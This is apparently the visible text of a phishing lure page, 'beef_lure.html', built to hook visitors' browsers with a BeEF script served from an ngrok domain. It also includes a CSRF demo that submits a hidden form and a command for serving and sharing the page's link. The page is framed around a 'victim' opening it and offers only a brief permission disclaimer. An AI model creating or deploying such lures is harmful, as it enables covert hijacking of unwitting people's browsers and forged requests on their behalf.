Contact the community
Send a short message to the community board.
Quick tools
Use the CSRF demo button (above) to programmatically create & submit a hidden form that targets your local test endpoint. Useful for testing from a hooked browser.
About this page
This page includes remote assets (Bootstrap CSS and an Unsplash image) and the BeEF hook. If you host it publicly and a victim opens it, the victim's browser will attempt to load the hook script and become hooked (if your BeEF server is reachable).
Quick serve (local testing)
# python simple server python3 -m http.server 8080 # then share http://your-ip:8080/beef_lure.html
Notes
- If your ngrok domain changes, update
HOOK_SRCin the <script> above. - Only test with permission. Do not use on third-party sites or targets you do not own.